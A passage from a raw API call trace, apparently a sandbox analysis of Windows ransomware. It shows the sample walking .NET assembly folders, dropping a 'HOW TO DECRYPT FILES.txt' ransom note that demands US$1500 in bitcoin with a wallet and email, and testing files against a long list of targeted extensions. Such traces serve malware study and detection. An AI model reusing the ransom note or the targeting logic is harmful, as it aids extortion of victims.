(lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing") returned 61 [0112.659] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.660] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.660] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.660] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.660] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.660] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5910828a337dbe848dc90c7ae0a7dee2", cAlternateFileName="591082~1")) returned 1 [0112.660] lstrcmpA (lpString1=".", lpString2="5910828a337dbe848dc90c7ae0a7dee2") returned -1 [0112.660] lstrcmpA (lpString1="..", lpString2="5910828a337dbe848dc90c7ae0a7dee2") returned -1 [0112.660] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\*.*") returned="*.*" [0112.661] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\", lpString2="5910828a337dbe848dc90c7ae0a7dee2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2" [0112.661] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2") returned 94 [0112.661] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.661] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.661] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.661] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.661] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.661] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d2b1ca, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71d2b1ca, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71d7748b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x234400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.661] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.661] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.ni.dll") returned -1 [0112.661] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.ni.dll") returned -1 [0112.661] lstrcmpiA (lpString1="", lpString2="System.Drawing.ni.dll") returned -1 [0112.661] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\*.*") returned="*.*" [0112.661] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\" [0112.661] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\") returned="" [0112.661] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\HOW TO DECRYPT FILES.txt" [0112.661] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\how to decrypt files.txt")) returned 0xffffffff [0112.661] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.662] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.662] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.663] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.663] CloseHandle (hObject=0x90) returned 1 [0112.664] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\", lpString2="System.Drawing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll" [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.ems") returned 0 [0112.664] lstrlenA (lpString="*.ems") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.db") returned 0 [0112.664] lstrlenA (lpString="*.db") returned 4 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.dbf") returned 0 [0112.664] lstrlenA (lpString="*.dbf") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.myox") returned 0 [0112.664] lstrlenA (lpString="*.myox") returned 6 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.myo") returned 0 [0112.664] lstrlenA (lpString="*.myo") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qbw") returned 0 [0112.664] lstrlenA (lpString="*.qbw") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qbb") returned 0 [0112.664] lstrlenA (lpString="*.qbb") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qbm") returned 0 [0112.664] lstrlenA (lpString="*.qbm") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qbo") returned 0 [0112.664] lstrlenA (lpString="*.qbo") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qbx") returned 0 [0112.664] lstrlenA (lpString="*.qbx") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qba") returned 0 [0112.664] lstrlenA (lpString="*.qba") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qby") returned 0 [0112.664] lstrlenA (lpString="*.qby") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qbj") returned 0 [0112.664] lstrlenA (lpString="*.qbj") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.ofx") returned 0 [0112.664] lstrlenA (lpString="*.ofx") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.qif") returned 0 [0112.664] lstrlenA (lpString="*.qif") returned 5 [0112.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mye") returned 0 [0112.665] lstrlenA (lpString="*.mye") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mbox") returned 0 [0112.665] lstrlenA (lpString="*.mbox") returned 6 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.eml") returned 0 [0112.665] lstrlenA (lpString="*.eml") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.pst") returned 0 [0112.665] lstrlenA (lpString="*.pst") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.ost") returned 0 [0112.665] lstrlenA (lpString="*.ost") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.idx") returned 0 [0112.665] lstrlenA (lpString="*.idx") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.dbx") returned 0 [0112.665] lstrlenA (lpString="*.dbx") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.sql") returned 0 [0112.665] lstrlenA (lpString="*.sql") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mdb") returned 0 [0112.665] lstrlenA (lpString="*.mdb") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.fdb") returned 0 [0112.665] lstrlenA (lpString="*.fdb") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.wab") returned 0 [0112.665] lstrlenA (lpString="*.wab") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.dat") returned 0 [0112.665] lstrlenA (lpString="*.dat") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.txt") returned 0 [0112.665] lstrlenA (lpString="*.txt") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.jpeg") returned 0 [0112.665] lstrlenA (lpString="*.jpeg") returned 6 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.jpg") returned 0 [0112.665] lstrlenA (lpString="*.jpg") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.png") returned 0 [0112.665] lstrlenA (lpString="*.png") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.php") returned 0 [0112.665] lstrlenA (lpString="*.php") returned 5 [0112.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.cs") returned 0 [0112.666] lstrlenA (lpString="*.cs") returned 4 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.cpp") returned 0 [0112.666] lstrlenA (lpString="*.cpp") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.rar") returned 0 [0112.666] lstrlenA (lpString="*.rar") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.zip") returned 0 [0112.666] lstrlenA (lpString="*.zip") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.html") returned 0 [0112.666] lstrlenA (lpString="*.html") returned 6 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.htm") returned 0 [0112.666] lstrlenA (lpString="*.htm") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.xlsx") returned 0 [0112.666] lstrlenA (lpString="*.xlsx") returned 6 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.xls") returned 0 [0112.666] lstrlenA (lpString="*.xls") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mp4") returned 0 [0112.666] lstrlenA (lpString="*.mp4") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.ppt") returned 0 [0112.666] lstrlenA (lpString="*.ppt") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.pptx") returned 0 [0112.666] lstrlenA (lpString="*.pptx") returned 6 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.doc") returned 0 [0112.666] lstrlenA (lpString="*.doc") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.dot") returned 0 [0112.666] lstrlenA (lpString="*.dot") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.docx") returned 0 [0112.666] lstrlenA (lpString="*.docx") returned 6 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.7z") returned 0 [0112.666] lstrlenA (lpString="*.7z") returned 4 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.tar") returned 0 [0112.666] lstrlenA (lpString="*.tar") returned 5 [0112.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.bz2") returned 0 [0112.667] lstrlenA (lpString="*.bz2") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.gz") returned 0 [0112.667] lstrlenA (lpString="*.gz") returned 4 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mkv") returned 0 [0112.667] lstrlenA (lpString="*.mkv") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.eml") returned 0 [0112.667] lstrlenA (lpString="*.eml") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.msg") returned 0 [0112.667] lstrlenA (lpString="*.msg") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.edb") returned 0 [0112.667] lstrlenA (lpString="*.edb") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.accdb") returned 0 [0112.667] lstrlenA (lpString="*.accdb") returned 7 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.odb") returned 0 [0112.667] lstrlenA (lpString="*.odb") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.java") returned 0 [0112.667] lstrlenA (lpString="*.java") returned 6 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.asm") returned 0 [0112.667] lstrlenA (lpString="*.asm") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.pfx") returned 0 [0112.667] lstrlenA (lpString="*.pfx") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.pem") returned 0 [0112.667] lstrlenA (lpString="*.pem") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.p12") returned 0 [0112.667] lstrlenA (lpString="*.p12") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.gpg") returned 0 [0112.667] lstrlenA (lpString="*.gpg") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.vsd") returned 0 [0112.667] lstrlenA (lpString="*.vsd") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.odg") returned 0 [0112.667] lstrlenA (lpString="*.odg") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.raw") returned 0 [0112.667] lstrlenA (lpString="*.raw") returned 5 [0112.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.nef") returned 0 [0112.668] lstrlenA (lpString="*.nef") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.svg") returned 0 [0112.668] lstrlenA (lpString="*.svg") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.psd") returned 0 [0112.668] lstrlenA (lpString="*.psd") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.vmx") returned 0 [0112.668] lstrlenA (lpString="*.vmx") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.vmdk") returned 0 [0112.668] lstrlenA (lpString="*.vmdk") returned 6 